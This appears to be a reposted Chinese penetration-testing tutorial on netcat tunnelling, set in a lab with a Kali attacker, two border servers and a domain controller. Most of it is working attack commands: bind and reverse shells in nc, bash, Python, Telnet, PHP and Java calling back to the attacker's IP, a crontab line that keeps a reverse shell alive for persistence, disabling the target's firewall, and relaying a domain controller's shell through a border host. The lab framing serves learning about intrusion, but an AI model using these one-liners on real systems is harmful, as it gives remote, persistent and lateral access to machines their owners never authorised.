【渗透测试笔记】之【内网渗透——传输层隧道(nc的使用:nc的正反向shell、bash、python、php、java的反向shell、内网转发)】

【渗透测试笔记】之【内网渗透——传输层隧道(nc的使用:nc的正反向shell、bash、python、php、java的反向shell、内网转发)】,第1张

【渗透测试笔记】之【内网渗透——传输层隧道(nc的使用:nc的正反向shell、bash、python、php、java的反向shell、内网转发)】

文章目录
  • 实验环境
  • 1 下载与部署
  • 2 使用方法
    • 2.1 正向shell
    • 2.2 nc反dshell
    • 2.3 其它反dshell
      • 2.3.1 Bash反dshell
      • 2.3.2 python反dshell
      • 2.3.3 Telnet反dshell
      • 2.3.4 PHP反dshell
      • 2.3.5 Java反dshell
    • 2.4 内网转发

实验环境

kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)

1 下载与部署

下载地址:https://github.com/AA8j/SecTools/tree/main/nc

或:

apt install netcat -y
2 使用方法

查看帮助:

nc -h

-d				// 后台模式(windows下)
-e filename		// 程序重定向
-g gateway		// 网关。设詈路由器通信网关,最多可以设詈8个。
-G num			// 设置源路由指向器的数量,为4的倍数。
-i secs			// 设置时间间隔,以便传送信息及扫描通信端口。
-l				// 使用监听模式。
-n				// 直接使用IP地址,不通过域名服务器。
-o file			// 输出文件,把往来传输的数据转换为十六进制字节码后保存在该文件中。
-p port			// 设置通信端口。
-r				// 随机指定本地与远程主机的通信端口。
-s addr			// 源地址,设詈本地主机送出数据包的IP地址。
-t				// 应答远程登录。
-u				// 使用UDP传输。
-v				// 详细输出。
-w secs			// 设置超时秒数。
-z				// 将输入输出功能关闭,只在扫描通信端口时使用。

案例:
nc -v -z 目标IP 80-200		// 指定端口扫描
nc -nv 目标IP 21				// Banner 抓取
nc -lvnp 4444				// 本地端口监听
nc -nvv 目标IP 4444			// 连接远程主机
2.1 正向shell

Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)

nc -ldp 4444 -e c:windowssystem32cmd.exe

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -lvp 4444 -e /bin/sh

kali(攻击机,外网地址:192.168.8.48)
连接windows shell:

nc 192.168.8.56 4444


连接CentOS Shell:

nc 192.168.8.35 5555

# 注意:出现(UNKNOWN) [192.168.8.35] 56 (?) : No route to host的情况可以关闭目标主机防火墙
systemctl stop firewalld

2.2 nc反dshell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 4444
# 监听4444和5555端口
nc -lvnp 5555

Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)

nc -d 192.168.8.48 4444 -e c:windowssystem32cmd.exe

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -d 192.168.8.48 5555 -e /bin/sh

2.3 其它反dshell 2.3.1 Bash反dshell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 7777


CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

bash -i >& /dev/tcp/192.168.8.48/7777 0>&1
# TCP
bash -i >& /dev/udp/192.168.8.48/7777 0>&1
# UDP

以tcp为例:


可以写入定时任务维持权限,crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。

* * * * * /bin/bash -i >& /dev/tcp/192.168.8.48/4444 0>&1
2.3.2 python反dshell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 8888

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


2.3.3 Telnet反dshell
mknod backpipe p && telnet 192.168.8.48 4444 0backpipe
2.3.4 PHP反dshell
php -r '$sock=fsockopen("192.168.8.48",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
2.3.5 Java反dshell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.48/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
2.4 内网转发

假如kali(攻击机,外网地址:192.168.8.48)已经获取到CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)的权限,然后通过CentOS7作为跳板机又获取到了DC(内网地址:10.1.1.2)的权限,但是发现DC不出网,此时就可以通过CentOS7作为代理转发到kali上。

此方法在边界服务器为Linux时实验有效,Windows时失败。

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 4444
# 首先开启攻击机的监听

DC(内网地址:10.1.1.2)

nc -d -lvnp 4444 -e c:windowssystem32cmd.exe
# DC 也开启监听

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -v 192.168.8.48 4444 -c "nc -v 10.1.1.2 4444"


成功获取到DC的Shell:

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/4744549.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-08
下一篇 2022-11-08

发表评论

登录后才能评论

评论列表(0条)

保存